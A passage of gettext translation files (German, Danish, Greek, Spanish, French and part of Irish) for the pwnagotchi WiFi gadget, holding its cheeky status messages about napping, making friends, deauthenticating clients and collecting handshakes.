msgstr "Das ist der beste Tag meines Lebens!" msgid "Shitty day :/" msgstr "Scheißtag :/" msgid "I'm extremely bored ..." msgstr "Mir ist sau langweilig..." msgid "I'm very sad ..." msgstr "Ich bin sehr traurig..." msgid "I'm sad" msgstr "Ich bin traurig" #, fuzzy msgid "Leave me alone ..." msgstr "Lass mich in Ruhe..." msgid "I'm mad at you!" msgstr "Ich bin sauer auf Dich!" msgid "I'm living the life!" msgstr "Ich lebe das Leben!" msgid "I pwn therefore I am." msgstr "Ich pwne, also bin ich." msgid "So many networks!!!" msgstr "So viele Netzwerke!!!" msgid "I'm having so much fun!" msgstr "Ich habe sooo viel Spaß!" msgid "My crime is that of curiosity ..." msgstr "Mein Verbrechen ist das der Neugier..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hallo {name}, schön Dich kennenzulernen." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Jo {name}! Was geht!?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hey {name}, wie geht's?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Gerät {name} ist in der Nähe!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm... tschüß {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} ist weg..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoops... {name} ist weg." #, python-brace-format msgid "{name} missed!" msgstr "{name} verpasst!" msgid "Missed!" msgstr "Verpasst!" msgid "Good friends are a blessing!" msgstr "Gute Freunde sind ein Segen!" msgid "I love my friends!" msgstr "Ich liebe meine Freunde!" msgid "Nobody wants to play with me ..." msgstr "Niemand will mit mir spielen..." msgid "I feel so alone ..." msgstr "Ich fühl' mich so allein..." msgid "Where's everybody?!" msgstr "Wo sind denn alle?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Schlafe für {secs}s..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" msgid "Good night." msgstr "Gute Nacht." msgid "Zzz" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Warte für {secs}s..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Schaue mich um ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what}, lass uns Freunde sein!" #, python-brace-format msgid "Associating to {what}" msgstr "Verbinde mit {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Jo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Ich denke, dass {mac} kein WiFi braucht!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Deauthentifiziere {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kicke {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Cool, wir haben {num} neue Handshake{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Cool, wir haben {num} neue Handshake{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ops, da ist was schief gelaufen... Starte neu..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num} Stationen gekickt\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num} neue Freunde gefunden\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "{num} Handshakes aufgez.\n" msgid "Met 1 peer" msgstr "1 Peer getroffen." #, python-brace-format msgid "Met {num} peers" msgstr "{num} Peers getroffen" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Ich war {duration} am Pwnen und habe {deauthed} Clients gekickt! Außerdem " "habe ich {associated} neue Freunde getroffen und {handshakes} Handshakes " "gefressen! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "Stunden" msgid "minutes" msgstr "Minuten" msgid "seconds" msgstr "Sekunden" msgid "hour" msgstr "Stunde" msgid "minute" msgstr "Minute" msgid "second" msgstr "Sekunde" ================================================ FILE: pwnagotchi/locale/dk/LC_MESSAGES/voice.po ================================================ # pwnagotchi danish voice data # Copyright (C) 2020 # This file is distributed under the same license as the pwnagotchi package. # Dennis Kjær Jensen , 2020 # #, fuzzy msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-29 21:50+0100\n" "PO-Revision-Date: 2020-01-18 21:56+ZONE\n" "Last-Translator: Dennis Kjær Jensen \n" "Language-Team: LANGUAGE \n" "Language: Danish\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hej. Jeg er Pwnagotchi. Starter ..." msgid "New day, new hunt, new pwns!" msgstr "Ny dag, ny jagt, nye pwns!" msgid "Hack the Planet!" msgstr "Hack planeten!" msgid "AI ready." msgstr "AI klar." msgid "The neural network is ready." msgstr "Det neurale netværk er klart." msgid "Generating keys, do not turn off ..." msgstr "Genererer nøgler, sluk ikke ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, kanal {channel} er ubrugt! Dit AP vil takke dig." msgid "Reading last session logs ..." msgstr "Læser seneste session logs ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Har læst {lines_so_far} linjer indtil nu ..." msgid "I'm bored ..." msgstr "Jeg keder mig ..." msgid "Let's go for a walk!" msgstr "Lad os gå en tur!" msgid "This is the best day of my life!" msgstr "Det er den bedste dag i mit liv!" msgid "Shitty day :/" msgstr "Elendig dag :/" msgid "I'm extremely bored ..." msgstr "Jeg keder mig ekstremt meget ..." msgid "I'm very sad ..." msgstr "Jeg er meget trist ..." msgid "I'm sad" msgstr "Jeg er trist" msgid "Leave me alone ..." msgstr "Lad mig være i fred" msgid "I'm mad at you!" msgstr "Jeg er sur på dig!" msgid "I'm living the life!" msgstr "Jeg lever livet!" msgid "I pwn therefore I am." msgstr "Jeg pwner, derfor er jeg." msgid "So many networks!!!" msgstr "Så mange netværk!" msgid "I'm having so much fun!" msgstr "Jeg har det vildt sjovt!" msgid "My crime is that of curiosity ..." msgstr "Min forbrydelse er at være nysgerrig ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hej {name}! Rart at møde dig." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Hey {name}! Hvasså?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hej {name} hvordan har du det?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Enheden {name} er lige i nærheden!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... farvel {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} er væk ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Hovsa ... {name} er væk." #, python-brace-format msgid "{name} missed!" msgstr "{name} glippede!" msgid "Missed!" msgstr "Fordømt!" msgid "Good friends are a blessing!" msgstr "Gode venner en velsignelse!" msgid "I love my friends!" msgstr "Jeg elsker mine venner!" msgid "Nobody wants to play with me ..." msgstr "Der er ingen der vil lege med mig ..." msgid "I feel so alone ..." msgstr "Jeg føler mig så alene ..." msgid "Where's everybody?!" msgstr "Hvor er alle henne?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Sover i {secs} sekunder" msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz {secs} sekunder" msgid "Good night." msgstr "Godnat." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Venter i {secs} sekunder" #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Kigger mig omkring i {secs} sekunder" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hej {what} lad os være venner!" #, python-brace-format msgid "Associating to {what}" msgstr "Associerer til {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Hey {what}" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Besluttede at {mac} ikke har brug for WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Afmelder {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbanner {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Fedt, vi har fået {num} nye handshake{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Du har {count} nye beskeder" msgid "Ops, something went wrong ... Rebooting ..." msgstr "Ups, noget gik galt ... Genstarter." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Sparkede {num} af\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Har fået {num} nye venner\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Har fået {num} nyehandshakes\n" msgid "Met 1 peer" msgstr "Har mødt 1 peer" #, python-brace-format msgid "Met {num} peers" msgstr "Har mødt {num} peers" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Jeg har pwnet i {duration} og kicket {dauthed} klienter! Jeg har også " "mødt {associated} nye venner og spist {handshakes} håndtryk! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "timer" msgid "minutes" msgstr "minutter" msgid "seconds" msgstr "sekunder" msgid "hour" msgstr "time" msgid "minute" msgstr "minut" msgid "second" msgstr "sekund" ================================================ FILE: pwnagotchi/locale/el/LC_MESSAGES/voice.po ================================================ # pwnigotchi voice data # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR Periklis Fregkos , 2019. # CO AUTHOR Panos Vasilopoulos , 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-10-03 08:00+0000\n" "Last-Translator: Periklis Fregkos \n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" "Language: el\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Γειά, είμαι το Pwnagotchi! Εκκινούμαι ..." msgid "New day, new hunt, new pwns!" msgstr "Νέα μέρα, νέο κυνήγι, νέα pwns!" msgid "Hack the Planet!" msgstr "Hackαρε τον πλανήτη!" msgid "AI ready." msgstr "ΤΝ έτοιμη." msgid "The neural network is ready." msgstr "Το νευρωνικό δίκτυο είναι έτοιμο." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Ε, το κανάλι {channel} είναιελεύθερο! Το AP σου θα είναι ευγνώμων." msgid "I'm bored ..." msgstr "Βαριέμαι ..." msgid "Let's go for a walk!" msgstr "Ας πάμε μια βόλτα!" msgid "This is the best day of my life!" msgstr "Είναι η καλύτερημέρα της ζωής μου!" msgid "Shitty day :/" msgstr "Σκατένια μέρα :/" msgid "I'm extremely bored ..." msgstr "Βαριέμαι πάρα πολύ ..." msgid "I'm very sad ..." msgstr "Είμαι πολύ λυπημένο ..." msgid "I'm sad" msgstr "Είμαι λυπημένο" msgid "I'm living the life!" msgstr "Ζω την ζωή μου!" msgid "I pwn therefore I am." msgstr "Pwnάρω, άρα υπάρχω." msgid "So many networks!!!" msgstr "Τόσα πολλά δίκτυα!!!" msgid "I'm having so much fun!" msgstr "Περνάω τέλεια!" msgid "My crime is that of curiosity ..." msgstr "Η περιέργεια είναιτο μόνο έγκλημά μου ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Γειά {name}!Χάρηκα για τη γνωριμία. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Η μονάδα {name} είναι κοντά! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Εμμ ...αντίο {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "Το {name} έφυγε ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Ουπς ... Εξαφανίστηκε το {name}." #, python-brace-format msgid "{name} missed!" msgstr "Έχασα το {name}!" msgid "Missed!" msgstr "Το έχασα!" msgid "Nobody wants to play with me ..." msgstr "Κανείς δε θέλει ναπαίξει μαζί μου ..." msgid "I feel so alone ..." msgstr "Νιώθω μοναχός μου ..." msgid "Where's everybody?!" msgstr "Μα, πού πήγαν όλοι;!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Ξεκουράζομαι για {secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Περιμένω για {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Ψάχνω τριγύρω ({secs})" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Εε! {what}, ας γίνουμε φίλοι!" #, python-brace-format msgid "Associating to {what}" msgstr "Συνδέομαι με το {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Που'σαι ρε τρελέ {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Μόλις αποφάσισα ότι η {mac} δε χρείαζεται WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Πετάω έξω την {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Μπανάρω την {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Τέλεια δικέ μου, πήραμε {num} νέες χειραψίες!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ουπς, κάτιπήγε λάθος ... Επανεκκινούμαι ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Έριξα {num} σταθμούς\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Έκανα {num} νέους φίλους\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Πήρα {num} χειραψίες\n" msgid "Met 1 peer" msgstr "Γνώρισα 1 φίλο" #, python-brace-format msgid "Met {num} peers" msgstr "Γνώρισα {num} φίλους" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Pwnαρα για {duration} και έριξα {deauthed} πελάτες! Επίσης γνώρισα " "{associated} νέους φίλους και καταβρόχθισα {handshakes} χειραψίες! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "" msgid "minutes" msgstr "" msgid "seconds" msgstr "" msgid "hour" msgstr "" msgid "minute" msgstr "" msgid "second" msgstr "" ================================================ FILE: pwnagotchi/locale/es/LC_MESSAGES/voice.po ================================================ # pwnagotchi voice data # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR diegopastor , 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-09 17:42+0200\n" "PO-Revision-Date: 2020-08-25 23:06+0200\n" "Last-Translator: Sergio Ruiz \n" "Language: es\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "Language-Team: \n" "X-Generator: Poedit 2.4.1\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "¡Hola, soy Pwnagotchi! Empezando ..." msgid "New day, new hunt, new pwns!" msgstr "Nuevo día, nueva caceria, nuevos pwns!" msgid "Hack the Planet!" msgstr "¡Hackea el planeta!" msgid "AI ready." msgstr "IA lista." msgid "The neural network is ready." msgstr "La red neuronal está lista." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "¡Oye, el canal {channel} está libre! Tu AP lo agradecerá." msgid "I'm bored ..." msgstr "Estoy aburrido ..." msgid "Let's go for a walk!" msgstr "¡Vamos por un paseo!" msgid "This is the best day of my life!" msgstr "¡Este es el mejor día de mi vida!" msgid "Shitty day :/" msgstr "Día de mierda :/" msgid "I'm extremely bored ..." msgstr "Estoy muy aburrido ..." msgid "I'm very sad ..." msgstr "Estoy muy triste ..." msgid "I'm sad" msgstr "Estoy triste" msgid "I'm living the life!" msgstr "¡Estoy viviendo la vida!" msgid "I pwn therefore I am." msgstr "Pwneo, luego existo." msgid "So many networks!!!" msgstr "¡¡¡Cuántas redes!!!" msgid "I'm having so much fun!" msgstr "¡Me estoy divirtiendo mucho!" msgid "My crime is that of curiosity ..." msgstr "Mi crimen es la curiosidad ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "¡Hola {name}! Encantado de conocerte. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "¡La unidad {name} está cerca! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... adiós {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} se fue ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Ups ... {name} se fue." #, python-brace-format msgid "{name} missed!" msgstr "¡{name} perdido!" msgid "Missed!" msgstr "¡Perdido!" msgid "Nobody wants to play with me ..." msgstr "Nadie quiere jugar conmigo ..." msgid "I feel so alone ..." msgstr "Me siento tan solo ..." msgid "Where's everybody?!" msgstr "¡¿Dónde está todo el mundo?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Descansando durante {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Buenas noches." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Esperando {secs}s .." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Mirando alrededor ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "¡Oye {what} seamos amigos!" #, python-brace-format msgid "Associating to {what}" msgstr "Asociándome a {what}" #, python-brace-format msgid "Yo {what}!" msgstr "¡Ey {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "¡Acabo de decidir que {mac} no necesita WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Desautenticando a {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "¡Expulsando y baneando a {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "¡Genial, obtuvimos {num} nuevo{plural} handshake{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Oops, algo salió mal ... Reiniciando ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Expulsamos {num} estaciones\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Hice {num} nuevos amigos\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Consegui {num} handshakes\n" msgid "Met 1 peer" msgstr "Conocí 1 colega" #, python-brace-format msgid "Met {num} peers" msgstr "Conocí {num} colegas" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi #pwnlog " "#pwnlife #hacktheplanet #skynet" msgstr "" "¡He estado pwneando por {duration} y expulsé {deauthed} clientes! También " "conocí {associated} nuevos amigos y comí {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "horas" msgid "minutes" msgstr "minutos" msgid "seconds" msgstr "segundos" msgid "hour" msgstr "hora" msgid "minute" msgstr "minuto" msgid "second" msgstr "segundo" ================================================ FILE: pwnagotchi/locale/fr/LC_MESSAGES/voice.po ================================================ # pwnigotchi voice data # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR <7271496+quantumsheep@users.noreply.github.com>, 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-29 21:50+0100\n" "PO-Revision-Date: 2019-10-03 10:34+0200\n" "Last-Translator: quantumsheep <7271496+quantumsheep@users.noreply.github." "com>\n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" "Language: french\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Bonjour, je suis Pwnagotchi ! Démarrage..." msgid "New day, new hunt, new pwns!" msgstr "Nouveau jour, nouvelle chasse, nouveaux pwns !" msgid "Hack the Planet!" msgstr "Hack la planète !" msgid "AI ready." msgstr "L'IA est prête." msgid "The neural network is ready." msgstr "Le réseau neuronal est prêt." msgid "Generating keys, do not turn off ..." msgstr "Génération des clés, ne pas éteindre..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, le canal {channel} est libre! Ton point d'accès va te remercier." msgid "Reading last session logs ..." msgstr "Lecture des logs de la dernière session ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Jusqu'ici, {lines_so_far} lignes lues dans le log ..." msgid "I'm bored ..." msgstr "Je m'ennuie..." msgid "Let's go for a walk!" msgstr "Allons faire un tour !" msgid "This is the best day of my life!" msgstr "C'est le meilleur jour de ma vie !" msgid "Shitty day :/" msgstr "Journée de merde :/" msgid "I'm extremely bored ..." msgstr "Je m'ennuie énormément..." msgid "I'm very sad ..." msgstr "Je suis très triste..." msgid "I'm sad" msgstr "Je suis triste" #, fuzzy msgid "Leave me alone ..." msgstr "Lache moi..." msgid "I'm mad at you!" msgstr "Je t'en veux !" msgid "I'm living the life!" msgstr "Je vis la belle vie !" msgid "I pwn therefore I am." msgstr "Je pwn donc je suis." msgid "So many networks!!!" msgstr "Tellement de réseaux !!!" msgid "I'm having so much fun!" msgstr "Je m'amuse tellement !" msgid "My crime is that of curiosity ..." msgstr "Mon crime, c'est la curiosité..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Bonjour {name} ! Ravi de te rencontrer." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Yo {name} ! Quoi de neuf ?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hey {name} comment vas-tu ?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "L'unité {name} est proche !" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Hum... au revoir {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} est parti ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Oups... {name} est parti." #, python-brace-format msgid "{name} missed!" msgstr "{name} raté !" msgid "Missed!" msgstr "Raté !" msgid "Good friends are a blessing!" msgstr "Les bons amis sont une bénédiction !" msgid "I love my friends!" msgstr "J'aime mes amis !" msgid "Nobody wants to play with me ..." msgstr "Personne ne veut jouer avec moi..." msgid "I feel so alone ..." msgstr "Je me sens si seul..." msgid "Where's everybody?!" msgstr "Où est tout le monde ?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Je fais la sieste pendant {secs}s..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Bonne nuit." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "J'attends pendant {secs}s..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "J'observe ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what}, soyons amis !" #, python-brace-format msgid "Associating to {what}" msgstr "Association à {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what} !" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Je viens de décider que {mac} n'a pas besoin de WiFi !" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Désauthentification de {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Je kick et je bannis {mac} !" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Cool, on a {num} nouve(l/aux) handshake{plural} !" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Tu as {num} nouveau(x) message{plural} !" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Oups, quelque chose s'est mal passé... Redémarrage..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num} stations kick\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "A fait {num} nouve(l/aux) ami(s)\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "A {num} handshakes\n" msgid "Met 1 peer" msgstr "1 camarade rencontré" #, python-brace-format msgid "Met {num} peers" msgstr "{num} camarades recontrés" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "J'ai pwn durant {duration} et kick {deauthed} clients ! J'ai aussi rencontré " "{associated} nouveaux amis et dévoré {handshakes} handshakes ! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "heures" msgid "minutes" msgstr "minutes" msgid "seconds" msgstr "secondes" msgid "hour" msgstr "heure" msgid "minute" msgstr "minute" msgid "second" msgstr "seconde" ================================================ FILE: pwnagotchi/locale/ga/LC_MESSAGES/voice.po ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-09 17:42+0200\n" "PO-Revision-Date: 2019-10-15 23:46+0100\n" "Language: ga\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Last-Translator: \n" "Language-Team: \n" "X-Generator: Poedit 2.2.4\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Dia Duit, Pwnagotchi is ainm dom! Ag tosú ..." msgid "New day, new hunt, new pwns!" msgstr "Lá nua, seilg nua, pwns nua!" msgid "Hack the Planet!" msgstr "Haic An Phláinéid!" msgid "AI ready." msgstr "AI réidh." msgid "The neural network is ready." msgstr "Tá an líonra néarach réidh." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hé, tá cainéal {channel} ar fail! Déarfaidh do PR go raibh maith agat." msgid "I'm bored ..." msgstr "Tá leadrán orm ..." msgid "Let's go for a walk!" msgstr "Siúil liom, le do thoil!" msgid "This is the best day of my life!" msgstr "Tá sé an lá is fearr i mo shaol!" msgid "Shitty day :/" msgstr "Tá lá damanta agam :/" msgid "I'm extremely bored ..." msgstr "Tá mé ag dul as mo mheabhair le leadrán ..." msgid "I'm very sad ..." msgstr "Ta brón an domhain orm ..." msgid "I'm sad" msgstr "Tá brón orm" msgid "I'm living the life!" msgstr "Tá an saol ar a thoil agam!" msgid "I pwn therefore I am." msgstr "Déanaim pwnáil, dá bhrí sin táim ann." msgid "So many networks!!!" msgstr "Gréasáin - Tá an iliomad acu ann!!!" msgid "I'm having so much fun!" msgstr "Tá craic iontach agam!" msgid "My crime is that of curiosity ..." msgstr "Ní haon pheaca é bheith fiosrach ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Dia Duit {name}! Is deas bualadh leat. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Aonad {name} in aice láimhe! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm... slán leat {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "Tá {name} imithe ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Hoips … Tá {name} imithe." #, python-brace-format msgid "{name} missed!" msgstr "Chaill mé ar {name}!" msgid "Missed!" msgstr "Chaill mé é sin !" msgid "Nobody wants to play with me ..." msgstr "Níl aon duine ag iarraidh imirt liom ..." msgid "I feel so alone ..." msgstr "Tá uaigneas an domhain orm ..." msgid "Where's everybody?!" msgstr "Cá bhfuil gach duine?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Néal a chodladh ar {secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" msgid "Good night." msgstr "Oíche mhaith." msgid "Zzz" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Fan ar {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Ag amharc uaim ar ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hé {what} déanaimis síocháin!" #, python-brace-format msgid "Associating to {what}" msgstr "Ag coinneáil le {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Hé {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Tá cinneadh déanta agam. Níl {mac} sin de dhíth air WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Bain fíordheimhniúde {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Chiceáil mé agus cosc mé ar {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Go hiontach, fuaireamar {num} handshake{plural}!" msgid "Oops, something went wrong ... Rebooting 